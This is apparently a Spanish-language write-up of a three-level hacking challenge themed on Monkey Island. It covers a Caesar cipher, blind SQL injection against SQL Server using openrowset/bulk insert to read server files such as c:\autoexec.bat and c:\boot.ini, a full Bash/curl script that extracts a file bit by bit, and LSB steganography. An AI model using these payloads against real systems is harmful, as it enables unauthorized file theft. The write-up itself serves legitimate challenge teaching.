=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ---> Solución Reto Hacking #5 (retohacking5.elladodelmal.com) <--- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= { Por: Román Medina-Heigl Hernández (aka RoMaNSoFt) } [20/Ene/08] --[ Intro ] ----- Nos encontramos ante un reto de una dificultad elevada, si lo comparamos con las ediciones anteriores, y con un diseño estético muy cuidado y por qué no decirlo, genialmente ambientado en la mítica aventura gráfica "The Secret of Monkey Island" (¡hay que darle la enhorabuena a Rodol y Alex!). El reto consta de 3 "sencillos" y originales niveles, que deberán ser resueltos secuencial- mente. Precisamente la búsqueda de la originalidad desemboca en un reto un tanto rebuscado y difícil en algunos puntos. Y como muestra un botón: las pistas que daban eran completamente inútiles así que las ignoraremos (incluso después de pasar el reto cuesta trabajo encontrar la relación). Además, se requiere tener unas habilidades mínimas de programación y/o scripting. Esta vez se ve que han querido hacer un tracking de los concursantes, para lo cual se obliga a todos a registrarse en: http://retohacking5.elladodelmal.com/Alta.aspx Una vez hayamos ingresado en el sistema comenzaremos en el nivel o parte 1. --[ Parte 1: "Las tres pruebas" ] --------------------------- La URL en la que arrancamos es: http://retohacking5.elladodelmal.com/privado/Nivel1.aspx Para superar este primer nivel hay que "ganar a insultos" a nuestro contrin- cante. Para ello deberemos contestar correctamente y por tres veces sus insul- tos. Tenemos 30 posibles respuestas, a cual más disparatada, por lo que a priori no parece fácil adivinar las respuestas. Si analizamos las peticiones HTTP con un proxy como "Webscarab", el ciclo que se sigue es el siguiente (se ha eliminado el parámetro "rand" de las URLs, ya que se comprobó que no afecta al resultado): 1) http://retohacking5.elladodelmal.com/privado/ObtenerDatos.aspx?tipo=numrespuestas Obtiene el valor X que aparecerá en la frase "Eres el pringao número X que lo intenta". 2) http://retohacking5.elladodelmal.com/privado/ObtenerDatos.aspx?tipo=pregunta De aquí saca la pregunta. 3) http://retohacking5.elladodelmal.com/privado/ObtenerDatos.aspx?tipo=respuesta Y de aquí las respuestas posibles. 4) http://retohacking5.elladodelmal.com/privado/ObtenerDatos.aspx?tipo=crespuesta&datos=La%20casa%20por%20el%20tejado Le enviamos la respuesta y el servidor comprueba si es correcta o no. Devuelve 0 si es incorrecta. Si es correcta, devolverá 1 o 2, dependiendo de las pre- guntas que llevemos acertadas. Sorprendentemente, logramos superar este nivel simplemente enviando la misma petición del paso 4, reiteradamente (observando que la respuesta pasa de valer 0 a 1 y finalmente 2). Nuestra primera suposición es que esta respuesta es una especie de contador de respuestas acertadas. Pero ¿no se resetea cuando erramos una pregunta? Pues no, sólo se resetea al pasar por los dos primeros pasos :-) Como nos los estamos saltando, no hay reset que valga. Este error de progra- mación del nivel 1 nos permitió superarlo con facilidad. Y menos mal, porque la solución "oficial" era casi imposible. Había que: 1) Detectar una vulnerabilidad de "blind Xpath injection" en el parámetro "datos" de la petición 4. Por si fuera poco, el fallo sólo se detectaba cuando llevábamos una respuesta acertada. 2) Obtener el fichero XML que contenía las 26 preguntas y 30 respuestas, mediante la vulnerabilidad de "blind Xpath injection" anterior. Para el que no lo sepa, no existe herramienta pública que lo implemente. 3) Hallar la relación existente entre el id de pregunta y el id de respuesta, que al final resultó ser: id_respuesta = (id_pregunta + num.pringao ) mod 30. Para más detalle sobre esto último, se recomienda leer el apartado "Volviendo a la parte 1: la idea original" del solucionario de Dani Kachakil: http://www.kachakil.com/retos/I64_Reto_5.pdf --[ Parte 2: "Dolor de espalda" ] --------------------------- Comenzamos en: http://retohacking5.elladodelmal.com/privado/Nivel2.aspx Si movemos el cursor por la pantalla podemos comprobar que sólo podemos hacer clic o realizar dos acciones posibles: - leer la inscripción que aparece en uno de los dientes de la cara gigante del gorila - coger alguna de las figuras que aparecen en el esceneario Primero vamos a lo más obvio: leer la inscripción. Si hacemos clic en el diente del mono podemos leer la siguiente transcripción, que nuestro personaje cree identificar como "cirílico": "ho pdsd txh wh oohydud d uhvroyhu ho sxcoh vh hqfxhqwud hq od fdushwd uhfxuvrv gh od xqlgdg sulqflsdo" No es cirílico pero la estructura del mensaje nos hace pensar que se trata de un cifrado que no tiene pinta de ser complejo (en un cifrado decente no se podrían diferenciar las palabras, esto es, los caracteres de espaciado no deberían ser reconocidos a simple vista). Deben de haber aplicado algún tipo de transposición, sustitución o método similar a las letras del alfabeto. Es hora de desempolvar una antigua herramienta (> 7 años) útil para romper este tipo de cifrados: Crank (http://crank.sourceforge.net). Para los que no la conozcan: "Crank is short for "CRyptANalysis toolKit", and its overall purpose is to provide a powerful and extensible environment for solving classical (pen-and- paper) ciphers, providing as much automation as possible. Classical ciphers include common schemes like monoalphabetic substitutions, where each letter of the alphabet is mapped to another (usually different) letter consistently through the text." Elegimos la opción de cifrado "monoalfabético" y luego "key control" (es decir, el modo manual; Crank también permite realizar criptoanálisis de forma automá- tica basándose en frecuencias/estadísticas pero no está adecuado al castellano). Nos aparecerá arriba el recuadro "source" (fuente), donde introduciremos el texto cifrado y abajo en "view" (vista) tendremos el resultado. Utilizando los controles superiores realizamos 3 desplazamientos hacia la derecha ("shift >>") en el alfabeto de forma que las equivalencias de alfabetos quedan: abcdefg ... xyz (texto cifrado) xyzabcd ... uvw (texto original o en claro) El resultado: "el mapa que te llevara a resolver el puzle se encuentra en la carpeta recursos e la unidad principal" Es decir, el cifrado era el clásico César. Y la pista que obtenemos nos lleva a pensar que hay que buscar algo ("el mapa") en la carpeta "c:\recursos" (aunque realmente no sabemos si pudiera ser "c:\resources", cualquier otra carpeta de sistema que esté relacionada con recursos, "web resources" de ASP .NET...). Tampoco sabemos exactamente qué buscamos pero lo mismo si fuera posible revisar el árbol de directorios daríamos con ese algo que estamos buscando. Revisemos si existe alguna vulnerabilidad de SQL injection. Sólo tenemos dos .aspx así que es sencillo: - el primero -el de leer inscripción- tiene esta forma: http://retohacking5.elladodelmal.com:80/privado/ObtenerDatosPaso2.aspx?leerinscripcion=1 Comprobamos que no es vulnerable (intentamos inyectar en el parámetro "leerinscripcion", sin éxito). - en el segundo -el de coger figura- sí encontramos fácilmente que es vulne- rable a "Blind SQL injection". Analicemos los casos posibles de esta segunda URL: 1) Si el objeto existe (1 <= idObjeto <= 10): http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=10 Resultado: contenido=No pienso agacharme a coger ese objeto 2) Si el objeto no existe: http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=11 Resultado: contenido=No conozco el objeto 3) Si la sentencia SQL es incorrecta: http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=kk Resultado: contenido= Los casos 1 y 2 se corresponden con las condiciones "true" y "false", respec- tivamente (lo usaremos para construir el ataque "blind"). El caso 3 nos sirve para experimentar con diferentes sentencias SQL, pudiendo detectar si la construcción/sintaxis empleada es correcta o no, si disponemos de permisos para ejecutar ciertas funciones, etc. Bien, hasta aquí tenemos dos piezas: por un lado, una pista que nos empuja a intentar buscar algo en un sitio que tampoco sabemos a ciencia cierta qué es o dónde está; y por otro, el bug de "blind SQL injection". La primera pieza se traduce en buscar un fichero (al fin y al cabo ese algo que buscamos debe ser información, y la información siempre está en ficheros, ¿no?). Si ahora juntamos ambas piezas, se deduce que debemos encontrar y leer ese fichero mediante la vulnerabilidad de SQL injection... Ahora llega la parte difícil. Tras identificar el servidor de bbdd como un "Microsoft SQL Server 2005", lo primero que se nos ocurre es intentar obtener información de directorios mediante procedimientos almacenados. Por ejemplo, utilizando: xp_dirtree xp_cmdshell 'dir' ... No hay manera. Pero no nos preocupa excesivamente: es posible que el nombre del fichero sea sencillo de adivinar, y si no, ya volveremos más adelante a intentarlo. Por ahora, asumimos que el nombre del fichero es conocido y pasamos al siguiente problema: ¿cómo bajar un fichero mediante SQL injection, en SQL Server? Habrá que documentarse y hacer pruebas para ver si los métodos que encontremos funcionan en el servidor del reto, es decir, habrá que intentar bajarse un fichero arbitrario. Bueno, arbitrario no; hay que elegir uno que sepamos que existe y no tenga restricciones de lectura. En mi caso, elegí "c:\boot.ini" y... ¡me equivoqué! La de tiempo que perdí por este simple error... :-( Resulta que "boot.ini" tiene permisos de lectura para "Power Users" pero no para "Users"; entiendo que por eso no era posible su lectura. Sin embargo, sí se podía leer, por ejemplo, "c:\autoexec.bat" (tiene permisos de lectura para "Users"). Una relación más completa de candidatos a utilizar (gracias a Óscar Marín aka "frisbie"): c:\autoexec.bat c:\bootfont.bin c:\config.sys c:\io.sys c:\msdos.sys c:\documents and settings\default user\NTUSER.DAT c:\documents and settings\default user\ntuser.dat.LOG Algunos de estos ficheros están vacíos por defecto (autoexec.bat, config.sys, etc), otros son binarios (bootfont.bin, ntuser.dat, ...) y los permisos difieren. Pero todos tienen en común una cosa: por defecto existen y tienen permiso de lectura. Las pruebas anteriores se hicieron en un Windows 2003. En el caso del servidor del reto tenemos además otras posibilidades (asumiendo que el usuario ha iniciado sesión en la máquina alguna vez): c:\documents and settings\userreto5\NTUSER.DAT c:\documents and settings\userreto5\ntuser.dat.LOG c:\documents and settings\userreto5\ntuser.ini c:\documents and settings\userreto5\Datos de programa\desktop.ini Todas las anteriores opciones eran válidas. Sin embargo, recomiendo una de las dos siguientes: 1) c:\autoexec.bat -> Por su simplicidad :) 2) c:\documents and settings\default user\NTUSER.DAT -> Porque tiene permisos de lectura para "Everyone" (es decir, menos restrictivos aún). Encontramos dos métodos distintos para bajarse ficheros: - bulk insert (introducido en SQL Server 7.0) - openrowset con la opción bulk (introducido en SQL Server 2005) Quizás es más sencilla la segunda opción puesto que permite leer ficheros directamente sin necesidad de insertar el contenido en una tabla, y de hecho, ésta es la opción que finalmente decidí utilizar. Pero en cualquier caso documentaré las dos. Veamos algunas inyecciones y su resultado: 1; begin create table #foo(campo text) bulk insert #foo from 'c:\boot.ini' waitfor delay '0:0:5' end-- No da error de sintaxis (devuelve un "true", es decir: contenido=No pienso agacharme a coger ese objeto) pero tampoco ejecuta el retardo de 5 s. Sin embargo, la siguiente inyección funciona perfectamente (no da error y además se ejecuta el retardo): 1; begin create table #foo(campo text) bulk insert #foo from 'c:\autoexec.bat' waitfor delay '0:0:5' end-- Luego este método parece válido. Y de paso, demuestra que podemos usar "Transact-SQL" (T-SQL). Estudiemos otro camino posible. Si intentamos: 1; begin select * from openrowset(bulk 'c:\boot.ini', single_blob) as fichero waitfor delay '0:0:5' end-- En este caso da error (contenido=) y por supuesto, no ejecuta el retardo. Sin embargo: 1; begin select * from openrowset(bulk 'c:\autoexec.bat', single_blob) as fichero waitfor delay '0:0:5' end-- Ejecuta el retardo y la respuesta es un "true" :-) Llama la atención la diferencia de comportamiento entre ambos métodos, puesto que en el primer caso (bulk insert), si el nombre del fichero es incorrecto (o no hay permisos para leer el fichero) no se produce un error (la inyección devuelve "true"), como sí ocurre con el "openrowset" (devuelve error). No obstante, en ambos casos la ejecución del T-SQL se interrumpe y nunca se llega a ejecutar el waitfor. Curioso, ¿no? Ahora que conocemos varias formas de leer ficheros (que sabemos que funcionan) averigüemos qué fichero hay que bajarse. Para ello utilizamos prueba y error: c:\recursos\recursos.xml c:\recursos\mapa.txt c:\recursos\mapa.xml c:\recursos\mapa.dat c:\recursos\map.txt ... Et voilà, aquí lo tenemos: c:\recursos\mapa.jpg Tiene su lógica: si es un mapa -y recordemos que el juego está basado en Monkey Island- es normal que la extensión sea la de un formato gráfico. Por tanto, el fichero a bajarse es binario, debemos de tener esto en cuenta. Para bajarnos el mapa, utilizaremos el método del openrowset. No hace falta que usemos T-SQL, lo simplificaremos. Primero averiguaremos que se trata de un .jpg de 3675 bytes de longitud, como demuestra la siguiente inyección exitosa: 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) = 3675 Para averiguar la longitud podemos utilizar variaciones de la query anterior. Por ejemplo: 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) > 1000 True 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) > 2000 True 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) > 4000 False 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) > 3500 True 1 and len((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero)) > 3800 False ... Es decir, vamos acotando y rápidamente llegaremos a la longitud exacta. El proceso se puede llevar a cabo manualmente. El contenido del fichero lo leeremos bit a bit. Por ejemplo, para obtener el bit 0 (menos significativo) del 1er byte inyectaríamos: 1 and (substring((select * from openrowset(bulk 'c:\recursos\mapa.jpg', single_blob) as fichero), 1, 1) & power(2,0)) > 0 Si devuelve "true", tenemos un 1. Si devuelve "false", a la fuerza tiene que ser un 0. Si devuelve cualquier otra cosa es que algo ha fallado (la conexión al servidor, etc) por lo que deberíamos esperar un poco y reintentar. Es importante, tener además en cuenta que: - será necesario lanzar 29400 peticiones (3675 * 8) para obtener el fichero completo. El proceso es largo y tedioso. - la cookie caduca, si no se renueva. Por tanto, hay que implementar una mínima gestión de cookies. Y más teniendo en cuenta el punto anterior (nos llevará horas obtener el fichero). Una vez más, haremos uso de las opciones "--cookie" y "--cookie-jar" de Curl. - todas las inyecciones deben ir URL-encodeadas. Por ejemplo, la petición anterior debería ser: 1+and+%28substring%28%28select+*+from+openrowset%28bulk+%27c%3A%5Crecursos%5Cmapa.jpg%27%2C+single_blob%29+as+fichero%29%2C+1%2C+1%29+%26+power%282%2C0%29%29+%3E+0 Obviamente todo esto hay que automatizarlo. A continuación detallo mi solución. El núcleo de la misma es un script en Bash (basado en Curl), y que adicional- mente necesita de un programa externo (charprint) que también me hice (es una chorrada pero la utilidad "printf" de Linux no me funcionó como yo quería así que no me compliqué). Por último, el fichero de cookies debe ser inicializado con la cookie de sesión del reto (.ASPXAUTH). roman@jupiter:~$ cat cookies.txt # Netscape HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. retohacking5.elladodelmal.com FALSE / FALSE 0 .ASPXAUTH 2105A1D5B11C10B4F289F3B41AB74A264B180517C80B2CADF08E15C5C283CDF66F8E0CE3A0CC96CB3291871A04A66D491C8CBDFFD0BF01DC5ABEBE5E6FFF4ABFB42C865379C426EEE0B1585CFCF0DFC1 roman@jupiter:~$ cat fase2_retoV.sh #!/bin/bash # Reto #5 de Elladodelmal.com. (c) RoMaNSoFt, 2007. # 16.12.2007. ### Variables byteinicial=1 bytefinal=3675 fichero="mapa.jpg" txtpositivo="No pienso agacharme a coger ese objeto" txtnegativo="No conozco el objeto" cookies="cookies.txt" ### Funciones # $1=indice byte ; $2=indice bit procesarbit() { while (true) ; do RESP=`curl --silent --cookie "$cookies" --cookie-jar "$cookies" "http://retohacking5.elladodelmal.com:80/privado/ObtenerDatosPaso2.aspx" --get --data "idObjeto=1+and+%2F*Chema+mamonazo*%2F+%28substring%28%28select+*+from+openrowset%28bulk+%27c%3A%5Crecursos%5Cmapa.jpg%27%2C+single_blob%29+as+fichero%29%2C+$1%2C+1%29+%26+power%282%2C$2%29%29+%3E+0--&rand=2486262.96616407"` echo $RESP | grep -q "$txtpositivo" if [ $? -eq 0 ] ; then # Bit 1 return 1 fi echo $RESP | grep -q "$txtnegativo" if [ $? -eq 0 ] ; then # Bit 0 return 0 fi # Ha habido un error. Reintentar de nuevo pasados 3 segs (por si se cae nuestra conexion a internet, o el servidor :-)) sleep 3 done } ### Programa principal # Creamos el fichero o lo ponemos a 0 bytes si ya existia echo -n > $fichero # Implementamos el ataque blind echo -e "\nAtaque blind sql injection iniciado. Obteniendo fichero: $fichero. Esto puede tardar. Espere..." for i in `seq $byteinicial $bytefinal` ; do echo -n "#$i " procesarbit $i 0 bit0=$? procesarbit $i 1 bit1=$? procesarbit $i 2 bit2=$? procesarbit $i 3 bit3=$? procesarbit $i 4 bit4=$? procesarbit $i 5 bit5=$? procesarbit $i 6 bit6=$? procesarbit $i 7 bit7=$? byte=$(( 1*bit0 + 2*bit1 + 4*bit2 + 8*bit3 + 16*bit4 + 32*bit5 + 64*bit6 + 128*bit7 )) ./charprint $byte >> $fichero done echo -e "\nAtaque blind concluido :-)" roman@jupiter:~$ cat charprint.c #include int main(int argc, char **argv) { printf("%c", atoi(argv[1])); } roman@jupiter:~$ Un truco que utilicé para ganar tiempo fue dividir el espacio de bytes en varias partes, de forma que lancé el ataque desde varias máquinas y diferentes direcciones IP (modificando las variables "byteinicial" y "bytefinal" de mi script). Así pude obtener varios fragmentos del mapa en paralelo. Luego los junté todos con un "cat" :-) Una vez que ya tenemos el "mapa.jpg" lo abrimos y nos aparece la URL que nos permite resolver el nivel 2: http://retohacking5.elladodelmal.com/privado/?????Fase_3R3toHacking5.aspx --[ Parte 3: "Robando a CaraLimon" ] ------------------------------ Aplicando la cutre-técnica anteriormente mencionada de mover el cursor por la pantalla observamos que sólo hay dos acciones posibles: - "introducir clave de acceso" (haciendo clic en la puerta de la choza) - "observar careto de tipo con la boca grande" (haciendo clic en la boca de la figura) Si pinchamos en la primera nos pide una password que desconocemos (y que presumiblemente nos llevará a superar el reto). Si escogemos la segunda el personaje nos dice que: "parece una réplica del mapa, hay otro texto en cirílico: 'ho qrpeuh gho ilfkhur hv pdsduhsolfdhqflulolfrbuhgxflgr.eps'". Desencriptamos el mensaje anterior (es otro César similar al del nivel 2), obteniendo: 'el nombre del fichero es mapareplicaencirilicoyreducido.bmp' Descargamos el nuevo fichero: http://retohacking5.elladodelmal.com/privado/mapareplicaencirilicoyreducido.bmp Es evidente que se trata de una prueba de esteganografía pero no sabemos qué método se habrá usado para ocultar la información. Una primera aproximación que tomé (y que no funcionó) fue la siguiente: asumiendo que el nuevo mapa pudiera ser una versión "reducida" del "mapa.jpg" del nivel anterior (lo cual no parece descabellado, si tenemos en cuenta que el mapa del nivel 2 es de 200x128 y este del nivel 3 es de 50x32, es decir, exactamente un 25% del primero), lo que hice fue reducir el primer mapa y luego compararlo con el del nivel 3. Lógicamente, la comparación la hice en binario (con un programa como "UltraCompare") y además tuve que convertir el primer mapa de .jpg a .bmp con 8 bits de profundidad (antes de aplicar la reducción). Observé una diferencia de longitud de 2 bytes (2740 del mapa del nivel 3 vs 2742 del mapa obtenido mediante reducción) y por lo demás, la verdad es que no se parecían en nada... Probé también con diferentes programas de esteganografía típicos como las S-Tools (http://www.spychecker.com/program/stools.html). No hubo suerte. Así que finalmente me tocó de nuevo programar... Y así nació una nueva herramienta: "lsbstego". La podéis descargar de mi web: http://www.rs-labs.com/exploitsntools/lsbstego.c La descripción de la herramienta: ============= "Lsbstego permite obtener los bits menos significativos (LSB) de un fichero dado. Se devolverán por la salida estándar, agrupados de 8 en 8, es decir, en bytes. Este pequeño programa es útil para descubrir y obtener la infor- mación oculta guardada dentro de una imagen mediante la técnica estegano- gráfica conocida como LSB. Se le ha dotado de la flexibilidad necesaria para superar las problemáticas siguientes: * Desplazamiento de bits (offset). No es lo mismo comenzar el procesamiento del fichero origen en el primer byte (offset 0) que en el segundo (offset 1) así como en los 6 siguientes (en total, offsets 0-7). Si empezamos por el primero, el primer LSB (correspondiente al primer byte origen) pasará a ser el bit 7 del primer byte resultante; el segundo LSB será el bit 6 y así hasta completar el primer byte resultante. Si empezamos por el segundo (offset 1), el segundo LSB (correspondiente al segundo byte origen) pasará a ser el bit 7 del primer byte resultante y así sucesivamente. Por tanto, el efecto de haber aplicado un offset es que los LSB se desplazan en el fichero resultante obte- niendo una salida completamente distinta (los bytes resultantes son distintos). Normalmente el offset vendrá dado por el formato de fichero de imagen que estamos analizando de forma que la información secreta se empiece a extraer justo a partir del offset donde comienzan los datos de la imagen (la informa- ción de colores y/o bitmap), saltándose las cabeceras y demás meta-información de la imagen. * Información "invertida". Incluso aunque el offset sea correcto, es posible que la información no se haya guardado de principio a fin sino a la inversa (es decir, los primeros bytes del texto secreto estén al final de la imagen). * Ordenamiento de LSB's. Una última variante a la hora de construir el byte resultante consiste en tomar el primer LSB como el bit menos significativo del byte resultante, esto es, dbyte = lsb8 ... lsb1, en lugar de dbyte = lsb1 ... lsb8. La solución más simple y eficaz consiste en utilizar una aproximación "visual" combinada con la fuerza bruta: se procesa varias veces el fichero origen, variando los diferentes parámetros y obteniendo diferentes posibles salidas, que el analista deberá revisar (por ejemplo, en busca de texto legible). Se aconseja filtrar la salida con una utilidad tipo "strings", para evitar que caracteres no imprimibles ofusquen el resultado." ============= Como ya sabréis a estas alturas, el mapa contenía información en su interior, guardada en los bits menos significativos de la imagen. Esta es una de las técnicas más conocidas y simples utilizadas en esteganografía. A pesar de ser esa la idea, podemos encontrar diferentes variantes, en función de cómo ordenemos los bits o por dónde empecemos, por nombrar algunas. "Lsbstego" permite probar algunas de ellas: roman@jupiter:~$ ./lsbstego lsbstego v1.0. (c) RoMaNSoFt, 2007 Syntax: ./lsbstego {-f | -r} {-d | -u} {-o } ./lsbstego -a Options -f (forward): process file from the beginning to eof -r (reverse): process file from eof to the beginning -d (downward): lsb's are joined downward (i.e dbyte = lsb1 ... lsb8) -u (upward): lsb's are joined upward (i.e. dbyte = lsb8 ... lsb1) -o : skip bytes before starting normal processing -a: run all possible combinations / cases Este nivel 3 se podía solucionar fácilmente con la opción "-a", que prueba todas las combinaciones posibles (entre otras cosas, nos evitamos tener que averiguar dónde empiezan los datos de la imagen propiamente dichos, dentro del fichero gráfico): roman@jupiter:~$ ./lsbstego -a mapareplicaencirilicoyreducido.bmp | strings ... )ten.egrofecruos.tercesgets//:ptth( .zo uM osnoflA yB ???????????????????.erutnevA_cihparG_dnalsI_yeknoM_fO_terceS_ehT xpsa.5gnikcaHot3R3_esaF?????/odavirp/moc.lamledodalle.5gnikcahoter//:ptth ... http://retohacking5.elladodelmal.com/privado/?????Fase_3R3toHacking5.aspx The_Secret_Of_Monkey_Island_Graphic_Aventure.??????????????????? By Alfonso Mu oz. (http://stegsecret.sourceforge.net) ... roman@jupiter:~$ De donde obtenemos la solución visualmente (y casi instantáneamente): http://retohacking5.elladodelmal.com/privado/?????Fase_3R3toHacking5.aspx The_Secret_Of_Monkey_Island_Graphic_Aventure.??????????????????? By Alfonso Muñoz. http://stegsecret.sourceforge.net/ Algunos caracteres se han ocultado intencionadamente para animaros a que lo intentéis. La segunda linea es la password que necesitamos para pasar esta fase. Sólo debemos hacer clic en la puerta de la choza e introducir la contraseña. Con ello, el reto #5 habrá pasado a ser historia para nosotros :-) Como curiosidad, seguro que os habéis fijado que se obtiene la solución por partida doble, aunque en un caso los textos están "invertidos". Se trata de dos pasadas diferentes de la herramienta (recordemos que la opción "-a" prueba todas las posibilidades). Los parámetros exactos para obtener la solución de forma más concisa eran alguno de los dos siguientes: roman@jupiter:~$ ./lsbstego -f -d -o 2 mapareplicaencirilicoyreducido.bmp | strings nN(n n@l* ,J$( . @b http://retohacking5.elladodelmal.com/privado/?????Fase_3R3toHacking5.aspx The_Secret_Of_Monkey_Island_Graphic_Aventure.??????????????????? By Alfonso Mu oz. (http://stegsecret.sourceforge.net) roman@jupiter:~$ Y a la inversa: roman@jupiter:~$ ./lsbstego -r -u -o 2 mapareplicaencirilicoyreducido.bmp | strings )ten.egrofecruos.tercesgets//:ptth( .zo uM osnoflA yB ???????????????????.erutnevA_cihparG_dnalsI_yeknoM_fO_terceS_ehT xpsa.5gnikcaHot3R3_esaF?????/odavirp/moc.lamledodalle.5gnikcahoter//:ptth b@ . ($J, *l@n n(Nn roman@jupiter:~$ La cantidad de texto obtenido es obviamente mayor con la opción "-a": roman@jupiter:~$ ./lsbstego -f -d -o 2 mapareplicaencirilicoyreducido.bmp | strings | wc -c 213 roman@jupiter:~$ ./lsbstego -r -u -o 2 mapareplicaencirilicoyreducido.bmp | strings | wc -c 213 roman@jupiter:~$ ./lsbstego -a mapareplicaencirilicoyreducido.bmp | strings | wc -c 2158 roman@jupiter:~$ --[ Las pistas ] ---------- He dudado si escribir este apartado... Las pistas de este reto eran inhumanas. Hay que hacer un verdadero ejercicio de imaginación para descifrarlas, ¡incluso a posteriori (una vez resuelto el reto)! Resumiendo: no valían para nada, sólo para despistar. - Pista UNO: "AUNQUE MENTIRA PAREZCA Y GROG CORRA EN TU GARGANTA lA SOLUCIÓN DE ESTE RETO NO ¡NO ES A CIEGAS! CON QUE CUIDA TU VISTA Y ASÍ NO TE DES-PISTAS" Según Chema, es una doble negación "no no es a ciegas", o sea, que es a ciegas. Luego el nivel debería de ir de "blind * injection". Más rebuscado imposible... - Pista DOS: "La parte contratante de la primera parte será considerada como la parte contratante de la primera parte" (Otra vez) según Chema se refiere a que había que coger algo cachito a cachito... ¡Vaya pista! xDDD - Pista TRES: "Omnipotente, santísimo, altísimo y sumo Dios, Padre santo y justo, Señor rey del cielo y de la tierra, por ti mismo te damos gracias, porque, por tu santa voluntad y por tu único Hijo con el Espíritu Santo, creaste todas las cosas espirituales y corporales, y a nosotros, hechos a tu imagen y semejanza, nos pusiste en el paraíso. Y nosotros caímos por nuestra culpa." Esta ya ni idea... lo único que guarda alguna relación con el nivel 3 es la palabra "imagen". :-? En resumidas cuentas, todo un ejemplo de cómo NO deberían ser unas pistas... una gran ida de olla del amigo Chema :) =-=-[ EOF ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=